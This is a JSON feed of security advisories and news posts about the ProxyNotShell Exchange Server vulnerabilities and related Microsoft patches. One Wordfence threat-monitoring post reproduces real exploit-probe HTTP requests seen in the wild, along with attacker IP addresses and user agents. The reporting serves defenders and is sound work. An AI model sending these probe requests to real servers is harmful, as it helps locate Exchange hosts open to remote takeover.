{"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-09-30T07:00:00", "id": "MSRC:87D7D0E827E89DC02EC00DFCF04D1B34", "href": "https://msrc.microsoft.com/blog/2022/09/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-05-23T15:35:29", "description": "Update August 25, 2021: Microsoft strongly recommends that you update your servers with the most recent security updates available. CVE-2021-34473 (ProxyShell) CVE-2021-34523 (ProxyShell) CVE-2021-33766 Today is Update Tuesday \u2013 our commitment to provide a predictable monthly schedule to release updates and provide the latest protection to our customers. Update Tuesday is a monthly cycle when Microsoft releases patches for vulnerabilities that we have found proactively or that have been disclosed to us through our security partnerships under a coordinated vulnerability disclosure.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-13T07:00:00", "type": "msrc", "title": "April 2021 Update Tuesday packages now available", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33766", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-04-13T07:00:00", "id": "MSRC:C28CD823FBB321014DB6D53A28DA0CD1", "href": "/blog/2021/04/april-2021-update-tuesday-packages-now-available/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-22T16:39:48", "description": "Update August 25, 2021: Microsoft strongly recommends that you update your servers with the most recent security updates available. CVE-2021-34473 (ProxyShell) CVE-2021-34523 (ProxyShell) CVE-2021-33766 Today is Update Tuesday \u2013 our commitment to provide a predictable monthly schedule to release updates and provide the latest protection to our customers. Update Tuesday is a monthly cycle when Microsoft releases patches for vulnerabilities that we have found proactively or that have been disclosed to us through our security partnerships under a coordinated vulnerability disclosure.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-13T07:00:00", "type": "msrc", "title": "April 2021 Update Tuesday packages now available", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33766", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-04-13T07:00:00", "id": "MSRC:8F98074A1D86F9B965ADC16597E286ED", "href": "https://msrc.microsoft.com/blog/2021/04/april-2021-update-tuesday-packages-now-available/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "wordfence": [{"lastseen": "2022-10-19T17:09:20", "description": "The Wordfence Threat Intelligence team has been monitoring exploit attempts targeting two zero-day vulnerabilities in Microsoft Exchange Server tracked as CVE-2022-41040 and CVE-2022-41082, collectively known as ProxyNotShell. These vulnerabilities are actively being exploited in the wild. At the time of writing, we have observed 1,658,281 exploit attempts across our network of 4 million protected websites.\n\nGiven that a quick Shodan search shows 214,671 hosts running Exchange, this is not an insignificant vulnerability. Fortunately, tracking exploit attempts has been made easy due to the similarities to the ProxyShell vulnerability from 2021. From the time we began tracking ProxyNotShell, we have observed 3,543 IP addresses across 365 hosts sending requests that are attempting to probe for and exploit the vulnerabilities.\n\nFor more details on ProxyNotShell and the data we have collected, continue reading below or [download a PDF of this post here](<https://www.wordfence.com/wp-content/uploads/2022/10/Two-Weeks-of-Monitoring-ProxyNotShell-CVE-2022-41040-CVE-2022-41082-Threat-Activity-post.pdf>).\n\nThe following top 20 IP addresses are responsible for 313,011 of the tracked exploit attempts.\n\n * 91.245.255.98\n * 152.89.198.108\n * 199.47.92.216\n * 192.241.217.237\n * 192.241.217.39\n * 192.241.219.153\n * 192.241.219.69\n * 192.241.213.162\n * 192.241.219.73\n * 192.241.212.186\n * 192.241.216.62\n * 192.241.212.202\n * 192.241.216.14\n * 192.241.218.85\n * 192.241.215.205\n * 192.241.220.212\n * 192.241.202.142\n * 192.241.220.87\n * 192.241.218.123\n * 192.241.212.173\n\nLooking at the IP addresses being logged, it quickly becomes apparent that a large number of the IP addresses are part of the same CIDR range of 192.241.192.0/19. Nearly one-third of our logged requests probing and targeting this vulnerability come from these IP addresses, which are assigned to DigitalOcean. This means that Digitalocean\u2019s ASN is hosting nearly 3 times as many IPs sending requests targeting this vulnerability compared to the next most active host.\n\n\n\nWhile DigitalOcean is a legitimate virtual and dedicated server provider with a high reputation, it is still the source of many of the requests we have tracked. Threat actors often look for affordable solutions to quickly spin up an attack campaign, and in this case it appears that at least one threat actor either chose to use DigitalOcean as their provider or purchased access to a number of compromised servers on their network.\n\nMany of the requests we have observed thus far utilize GET requests to discover if the target is a vulnerable Exchange server. The requests we are seeing follow a few basic variations ranging from a basic `GET /autodiscover/autodiscover.json?%40zdi%2FPowershell= HTTP/1.1` to more complex requests like `GET /autodiscover/autodiscover.json?a%40foo_var%2Fowa%2F=&Email=autodiscover%2Fautodiscover.json%3Fa%40foo.var&Protocol=XYZ&FooProtocol=Powershell HTTP/1.1`. The second request example is an early proof-of-concept that has been used widely since its public release. If this looks familiar, that\u2019s because it is the same as the ProxyShell vulnerability exploit.\n\nThe user-agent also has a number of variations, primarily one reused from the user-agent for Firefox 105 on Windows 10. The top ten user-agent strings can be seen here:\n\n * User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0\n * Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0\n * Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)\n * Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.67 Safari/537.36\n * Fuzz Faster U Fool v1.5.0-dev\n * Amazon CloudFront\n * User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0 X-Middleton/1\n * Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17\n * curl/7.79.1\n * Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36\n\n\n\nThe top user-agent also appears with the most common request we are seeing, which can be seen in the request header below.\n\n`GET /autodiscover/autodiscover.json?a%40foo_var%2Fowa%2F=&Email=autodiscover%2Fautodiscover.json%3Fa%40foo.var&Protocol=XYZ&FooProtocol=Powershell HTTP/1.1` \n`Geoip-Addr: 91.245.255.98` \n`Connection: close` \n`Accept: */*` \n`Accept-Encoding: gzip, deflate` \n`User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0` \n`Host: <redacted>`\n\nWhile the above GET request has been observed in 224,794 requests, it is used with multiple variations of request headers, though there are some consistencies in the query string. All of the requests are GET requests, are probing /autodiscover/autodiscover.json, and use Powershell, which are requirements to exploit this vulnerability.\n\n`GET /autodiscover/autodiscover.json?a%40foo_var%2Fowa%2F=&Email=autodiscover%2Fautodiscover.json%3Fa%40foo.var&Protocol=XYZ&FooProtocol=Powershell HTTP/1.1` \n`User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0` \n`Accept: */*` \n`Accept-Encoding: gzip, deflate` \n`Connection: keep-alive` \n`Host: www.<redacted>.com`\n\nAs mentioned previously, the user-agent primarily being observed is Google Chrome on Windows 10, however despite that, we have observed a number of user-agent request headers that include MacOS user-agents, such as this header that includes an older user-agent for Firefox 76 on MacOS Mojave. In fact, this was the second-largest user-agent observed, with 35,811 requests logged.\n\n`GET /autodiscover/autodiscover.json@Powershell.dewd79hxlu.com/owa/www.google.com HTTP/1.1` \n`Accept-Encoding: gzip` \n`Connection: close` \n`Host: <redacted>:443` \n`Referer: https://<redacted>:443/autodiscover/autodiscover.json@Powershell.dewd79hxlu.com/owa/www.google.com` \n`User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0`\n\nWhile less common, we are also seeing more complicated GET requests as well as more distinctive user-agents. The following request shows an attempt to exploit the ProxyNotShell vulnerabilities on a university website, using an open-source web fuzzer known as Fuzz Faster U Fool, which we see reflected in the user-agent string. This is one example of a logged exploit attempt that could either be the university\u2019s security team probing for the vulnerability to ensure any security holes are closed, or a threat actor probing for vulnerabilities to exploit. However, as this request was aimed at the website and not an Exchange server, it is more likely that this was an attempt by a threat actor to identify a vulnerability for the purpose of exploiting it.\n\n`GET /autodiscover/autodiscover.json?aa%40mail_<redacted>_edu_v6_6ipl9gf1rbdde8jlvh33c0t1tszjnbb0_<redacted>_com%2Fowa%2F%3F=&Email=autodiscover%2Fautodiscover.json%3Fa%40mail.<redacted>.edu.v6.6ipl9gf1rbdde8jlvh33c0t1tszjnbb0.<redacted>.com&Protocol=Autodiscoverv1&mail_<redacted>_edu_v6_euctlor93jplqgvt7pfbo85950brzin7_<redacted>_com=&protocol=Powershell HTTP/1.1` \n`Accept-Encoding: gzip` \n`Host: mail.<redacted>.edu` \n`User-Agent: Fuzz Faster U Fool v1.5.0-dev` \n`X-Https: 1`\n\nAs with ProxyShell, the ProxyNotShell exploit used on a vulnerable Exchange server can lead to remote code execution (RCE) on the server. This could lead to full takeover of a vulnerable server. The good news is that unlike ProxyShell, ProxyNotShell requires the threat actor to be authenticated with a real email address in order to exploit the vulnerability.\n\nThe Wordfence Intelligence IP Threat Feed will show new IP addresses attacking CVE-2022-41040 and CVE-2022-41082 in the \u201crce\u201d category as the feed is updated every 60 minutes.\n\nThe post [Two Weeks of Monitoring ProxyNotShell (CVE-2022-41040 & CVE-2022-41082) Threat Activity](<https://www.wordfence.com/blog/2022/10/two-weeks-of-monitoring-proxynotshell-threat-activity/>) appeared first on [Wordfence](<https://www.wordfence.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-19T16:01:59", "type": "wordfence", "title": "Two Weeks of Monitoring ProxyNotShell (CVE-2022-41040 & CVE-2022-41082) Threat Activity", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-10-19T16:01:59", "id": "WORDFENCE:035A383C0D3B38D6EEBF9FE95D1A356D", "href": "https://www.wordfence.com/blog/2022/10/two-weeks-of-monitoring-proxynotshell-threat-activity/", "cvss": {"score": 0.0, "vector": "NONE"}}], "hackread": [{"lastseen": "2022-10-03T06:04:27", "description": "By [Deeba Ahmed](<https://www.hackread.com/author/deeba/>)\n\nThe latest attack against Exchange servers utilizes at least two new flaws (CVE-2022-41040, CVE-2022-41082) that have been assigned CVSS scores of 6.3 and 8.8.\n\nThis is a post from HackRead.com Read the original post: [Microsoft Confirms Two 0-Days Being Exploited Against Exchange Servers](<https://www.hackread.com/microsoft-confirms-0-days-exchange-servers/>)", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-30T17:56:35", "type": "hackread", "title": "Microsoft Confirms Two 0-Days Being Exploited Against Exchange Servers", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-09-30T17:56:35", "id": "HACKREAD:E34C6E8908AE56B0B1176B1237BFDF36", "href": "https://www.hackread.com/microsoft-confirms-0-days-exchange-servers/", "cvss": {"score": 0.0, "vector": "NONE"}}], "krebs": [{"lastseen": "2022-10-03T06:04:32", "description": "**Microsoft Corp.** is investigating reports that attackers are exploiting two previously unknown vulnerabilities in **Exchange Server**, a technology many organizations rely on to send and receive email. Microsoft says it is expediting work on software patches to plug the security holes. In the meantime, it is urging a subset of Exchange customers to enable a setting that could help mitigate ongoing attacks.\n\n\n\nIn [customer guidance](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) released Thursday, Microsoft said it is investigating two reported zero-day flaws affecting Microsoft Exchange Server 2013, 2016, and 2019. [CVE-2022-41040](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-41040>), is a Server-Side Request Forgery (SSRF) vulnerability that can enable an authenticated attacker to remotely trigger the second zero-day vulnerability -- [CVE-2022-41082](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41082>) -- which allows remote code execution (RCE) when **PowerShell** is accessible to the attacker.\n\nMicrosoft said **Exchange Online** has detections and mitigation in place to protect customers. Customers using _on-premises_ Microsoft Exchange servers are urged to review the mitigations suggested in the security advisory, which Microsoft says should block the known attack patterns.\n\nVietnamese security firm **GTSC** on Thursday [published a writeup on the two Exchange zero-day flaws](<https://gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html>), saying it first observed the attacks in early August being used to drop "webshells." These web-based backdoors offer attackers an easy-to-use, password-protected hacking tool that can be accessed over the Internet from any browser.\n\n"We detected webshells, mostly obfuscated, being dropped to Exchange servers," GTSC wrote. "Using the user-agent, we detected that the attacker uses Antsword, an active Chinese-based opensource cross-platform website administration tool that supports webshell management. We suspect that these come from a Chinese attack group because the webshell codepage is 936, which is a Microsoft character encoding for simplified Chinese."\n\nGTSC's advisory includes details about post-compromise activity and related malware, as well as steps it took to help customers respond to active compromises of their Exchange Server environment. But the company said it would withhold more technical details of the vulnerabilities for now.\n\nIn March 2021, hundreds of thousands of organizations worldwide had their email stolen and multiple backdoor webshells installed, all thanks to [four zero-day vulnerabilities in Exchange Server](<https://krebsonsecurity.com/2021/03/at-least-30000-u-s-organizations-newly-hacked-via-holes-in-microsofts-email-software/>). \n\nGranted, the zero-day flaws that powered that debacle were far more critical than the two detailed this week, and there are no signs yet that exploit code has been publicly released (that will likely change soon). But part of what made last year's Exchange Server mass hack so pervasive was that vulnerable organizations had little or no advance notice on what to look for before their Exchange Server environments were completely owned by multiple attackers. \n\nMicrosoft is quick to point out that these zero-day flaws require an attacker to have a valid username and password for an Exchange user, but this may not be such a tall order for the hackers behind these latest exploits against Exchange Server. \n\n**Steven Adair** is president of [Volexity](<https://www.volexity.com>), the Virginia-based cybersecurity firm that was among the first to sound the alarm about the Exchange zero-days targeted in the 2021 mass hack. Adair said GTSC's writeup includes an Internet address used by the attackers that Volexity has tied with high confidence to a China-based hacking group that has recently been observed phishing Exchange users for their credentials. \n\nIn February 2022, Volexity [warned](<https://www.volexity.com/blog/2022/02/03/operation-emailthief-active-exploitation-of-zero-day-xss-vulnerability-in-zimbra/>) that this same Chinese hacking group was behind the mass exploitation of a zero-day vulnerability in the **Zimbra Collaboration Suite**, which is a competitor to Microsoft Exchange that many enterprises use to manage email and other forms of messaging. \n\nIf your organization runs Exchange Server, please consider reviewing [the Microsoft mitigations](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) and [the GTSC post-mortem](<https://gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html>) on their investigations.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-30T16:51:57", "type": "krebs", "title": "Microsoft: Two New 0-Day Flaws in Exchange Server", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-09-30T16:51:57", "id": "KREBS:6E25B247DFBFC9267C00F36CE0695768", "href": "https://krebsonsecurity.com/2022/09/microsoft-two-new-0-day-flaws-in-exchange-server/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-11-13T06:06:48", "description": "Let's face it: Having \u201c2022 election\u201d in the headline above is probably the only reason anyone might read this story today. Still, while most of us here in the United States are anxiously awaiting the results of how well we've patched our Democracy, it seems fitting that **Microsoft Corp.** today released gobs of security patches for its ubiquitous **Windows** operating systems. November's patch batch includes fixes for _a whopping six zero-day security vulnerabilities_ that miscreants and malware are already exploiting in the wild.\n\n\n\nProbably the scariest of the zero-day flaws is [CVE-2022-41128](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41128>), a "critical" weakness in the Windows scripting languages that could be used to foist malicious software on vulnerable users who do nothing more than browse to a hacked or malicious site that exploits the weakness. Microsoft credits **Google** with reporting the vulnerability, which earned a CVSS score of 8.8.\n\n[CVE-2022-41073](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41073>) is a zero-day flaw in the **Windows Print Spooler**, a Windows component that Microsoft has patched mightily over the past year. **Kevin Breen**, director of cyber threat research at **Immersive Labs**, noted that the print spooler has been a popular target for vulnerabilities in the last 12 months, with this marking the 9th patch.\n\nThe third zero-day Microsoft patched this month is [CVE-2022-41125](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41125>), which is an "elevation of privilege" vulnerability in the Windows Cryptography API: Next Generation (CNG) Key Isolation Service, a service for isolating private keys. **Satnam Narang**, senior staff research engineer at **Tenable**, said exploitation of this vulnerability could grant an attacker SYSTEM privileges.\n\nThe fourth zero-day, [CVE-2022-41091](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41091>), was previously disclosed and widely reported on in October. It is a Security Feature Bypass of \u201cWindows Mark of the Web\u201d \u2013 a mechanism meant to flag files that have come from an untrusted source.\n\nThe other two zero-day bugs Microsoft patched this month were for vulnerabilities being exploited in **Exchange Server**. News that these two Exchange flaws were being exploited in the wild [surfaced in late September 2022](<https://krebsonsecurity.com/2022/09/microsoft-two-new-0-day-flaws-in-exchange-server/>), and many were surprised when Microsoft let October's Patch Tuesday sail by without issuing official patches for them (the company instead issued mitigation instructions that it was forced to revise multiple times). Today's patch batch addresses both issues.\n\n**Greg Wiseman**, product manager at **Rapid7**, said the Exchange flaw [CVE-2022-41040](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41040>) is a \u201ccritical\u201d elevation of privilege vulnerability, and [CVE-2022-41082](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41082>) is considered Important, allowing Remote Code Execution (RCE) when PowerShell is accessible to the attacker.\n\n"Both vulnerabilities have been exploited in the wild," Wiseman said. "Four other CVEs affecting Exchange Server have also been addressed this month. Three are rated as Important, and [CVE-2022-41080](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41080>) is another privilege escalation vulnerability considered Critical. Customers are advised to update their Exchange Server systems immediately, regardless of whether any previously recommended mitigation steps have been applied. The mitigation rules are no longer recommended once systems have been patched."\n\n**Adobe** usually issues security updates for its products on Patch Tuesday, but it did not this month. For a closer look at the patches released by Microsoft today and indexed by severity and other metrics, check out the [always-useful Patch Tuesday roundup](<https://isc.sans.edu/forums/diary/Microsoft+November+2022+Patch+Tuesday/29230/>) from the **SANS Internet Storm Center**. And it\u2019s not a bad idea to hold off updating for a few days until Microsoft works out any kinks in the updates: [AskWoody.com](<https://www.askwoody.com/>) usually has the lowdown on any patches that may be causing problems for Windows users.\n\nAs always, please consider backing up your system or at least your important documents and data before applying system updates. And if you run into any problems with these updates, please drop a note about it here in the comments.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-11-09T01:50:14", "type": "krebs", "title": "Patch Tuesday, November 2022 Election Edition", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41073", "CVE-2022-41080", "CVE-2022-41082", "CVE-2022-41091", "CVE-2022-41125", "CVE-2022-41128"], "modified": "2022-11-09T01:50:14", "id": "KREBS:E910A9996E07E6C63E0C32D6520D0F25", "href": "https://krebsonsecurity.com/2022/11/patch-tuesday-november-2022-election-edition/", "cvss": {"score": 0.0, "vector": "NONE"}}], "talosblog": [{"lastseen": "2022-10-28T20:49:32", "description": "\n\nAs I [wrote about last week](<https://blog.talosintelligence.com/2022/09/threat-source-newsletter-sept-29-2022.html>), I've been [diving a lot into apps' privacy policies recently](<https://blog.talosintelligence.com/2022/09/our-current-world-health-care-apps-and.html>). And I was recently made aware of a new type of app I never knew existed -- family trackers.\n\nThere are countless mobile apps for parents to track their children or other family members based on their location, phone usage, and even driving speed. As an anxious soon-to-be-parent, this sounds intriguing to me -- it'd be a supped-up version of Find my Friends on Apple devices so I'd never have to ask my teenager (granted, I'm many years away from being at that stage of my life) when they were coming home or where they were.\n\nJust as with all other types of mobile apps, there are pitfalls, though.\n\nLife360, one of the most popular of these types of apps and even tells users what their maximum driving speed was on a given trip, was found in December 2021 to be [selling precise location data on its users](<https://themarkup.org/privacy/2021/12/06/the-popular-family-safety-app-life360-is-selling-precise-location-data-on-its-tens-of-millions-of-user>), potentially affecting millions of people. Once that precise location data is out there, there is no telling who could eventually get a hold of it. Even if Life360 doesn't intend to let adversaries see this information, they don't have direct control over how those third parties handle the information once it's sold off.\n\nThe [app's current and updated privacy policy](<https://support.life360.com/hc/en-us/articles/360043228154-Full-Privacy-Policy>) states that it \"may also share location information with our partners, such as Cuebiq and its Partners, for tailored advertising, attribution, analytics, research and other purposes," though users do have the ability to opt out of this inside the app.\n\nThere is hardware that offers this same type of tracking. Jealous, angry or paranoid spouses and parents have [used Apple's AirTags in the past to unknowingly track people](<https://www.npr.org/2022/02/18/1080944193/apple-airtags-theft-stalking-privacy-tech>), eventually to the point that Apple had to [address the issue directly](<https://www.apple.com/newsroom/2022/02/an-update-on-airtag-and-unwanted-tracking/>) and provide several updates to AirTags' security and precise location alerts to make it easier for users to find potentially unwanted AirTags on their cars or personal belongings.\n\nThis is truthfully just an area of concern I had never considered before. Many parents would do anything for their children's safety, which is certainly understandable. But just like personal health apps, we need to consider the security trade-offs here, too. As we've said before, [no one truly has "nothing to hide,"](<https://beerswithtalos.talosintelligence.com/2033817/11128173-beers-with-talos-ep-124-there-s-no-such-thing-as-i-have-nothing-to-hide>) especially when it comes to minors or vulnerable populations. I'm not saying using any of these apps is inherently wrong, or that AirTags do not have their legitimate purposes. But any time we welcome this software and hardware into our homes and on our devices, it's worth considering what sacrifices we might be making elsewhere. \n\n\n## The one big thing\n\n[Microsoft warned last week](<https://blog.talosintelligence.com/2022/09/threat-advisory-exchange-server-vulns.html>) of the exploitation of two recently disclosed vulnerabilities collectively referred to as \"ProxyNotShell,\" affecting Microsoft Exchange Servers 2013, 2016 and 2019. One of these vulnerabilities could allow an attacker to execute remote code on the targeted server. Limited exploitation of these vulnerabilities in the wild has been reported. CVE-2022-41040 is a Server-Side Request Forgery (SSRF) vulnerability, while CVE-2022-41082 enables Remote Code Execution (RCE) when PowerShell is accessible to the attackers.\n\n## Top security headlines from the week \n\n\nMore than 2 million Australians' personal information is at risk after a data breach at telecommunications giant Optus. More than 1.2 million customers have had at least one ID number from a current and valid form of identification, along with other personal data, according to an update from the company's CEO. Adding to the confusion, the company told many residents in New South Wales that it would need to replace their driver's license, only to later backtrack to say that would not be the case for everyone affected. Optus says it enlisted a third party to complete a thorough review of the compromise to identify security gaps and any other potential fallout. ([ABC News](<https://www.abc.net.au/news/2022-10-03/optus-data-breach-cyber-attack-deloitte-review-audit/101496190>), [Nine News](<https://www.9news.com.au/national/optus-data-breach-update-more-than-two-million-customer-identity-details-exposed/b92b17d9-fc77-430b-94ca-21def7fea61d>))\n\nThe Vice Society ransomware group leaked more than 500 GB worth of data on employees and students at the unified Los Angeles School District after the district refused to pay a requested extortion payment after a ransomware attack several weeks ago. Officials said the leak was less extensive than originally expected and limited to attendance and academic records from 2013 - 2016. The district declined to pay the ransom because there was no guarantee that the actors would not leak the information anyway. Threat actors have commonly targeted the education sector with ransomware attacks as the school year started and their networks were particularly vulnerable. ([Axios](<https://www.axios.com/2022/10/03/hackers-stolen-data-la-school-district-ransomware>), [Los Angeles Times](<https://www.latimes.com/california/story/2022-10-03/hackers-cyberattack-los-angeles-unified-school-district-hotline-parents-staff-vice-society>))\n\nThe infamous Lazarus Group threat actor continues to ramp up its activity, recently exploiting open-source software and Dell hardware to target companies all over the globe. A recent report from Microsoft found that the group was impersonating contributors to open-source projects and injecting malicious updates for that software to users. In a separate campaign, the APT also used an exploit in a Dell firmware driver to deliver a Windows rootkit targeting an aerospace company and high-profile journalist in Belgium. Lazarus Group is known for operating with North Korean state interests, often stealing cryptocurrency or finding other ways to earn money. ([Bleeping Computer](<https://www.bleepingcomputer.com/news/security/microsoft-lazarus-hackers-are-weaponizing-open-source-software/>), [Security Affairs](<https://securityaffairs.co/wordpress/136623/apt/lazarus-exploit-dell-firmware-driver.html>))\n\n## Can't get enough Talos?\n\n * [Developer account body snatchers pose risks to the software supply chain](<https://blog.talosintelligence.com/2022/10/developer-account-body-snatchers-pose.html>)\n * [Researcher Spotlight: Globetrotting with Yuri Kramarz](<https://blog.talosintelligence.com/2022/10/researcher-spotlight-globetrotting-with.html>)\n * [Threat Roundup for Sept. 23 - 30](<https://blog.talosintelligence.com/2022/09/threat-roundup-0923-0930.html>)\n * [Talos Takes Ep. #115: An \"insider threat\" ](<https://www.buzzsprout.com/2018149/episodes/11413990>)doesn't always have to know they're a threat\n * [Cobalt Strike malware campaign targets job seekers](<https://www.techtarget.com/searchsecurity/news/252525560/Cobalt-Strike-malware-campaign-targets-job-seekers>)\n * [Government, Union-Themed Lures Used to Deliver Cobalt Strike Payloads](<https://www.infosecurity-magazine.com/news/government-union-lures-used-cobalt/>) \n\n\n## Upcoming events where you can find Talos \n\n\n[_**Cisco Security Solution Expert Sessions**_](<https://www.blogger.com/u/1/blog/post/edit/1029833275466591797/5980034587248183130#>)** (Oct. 11 & 13)** \nVirtual \n\n \n[_**GovWare 2022**_](<https://www.blogger.com/u/1/blog/post/edit/1029833275466591797/5980034587248183130#>)** (Oct. 18 - 20)** \nSands Expo & Convention Centre, Singapore \n\n \n[_**Conference On Applied Machine Learning For Information Security**_](<https://www.blogger.com/u/1/blog/post/edit/1029833275466591797/5980034587248183130#>)_** **_**(Oct. 20 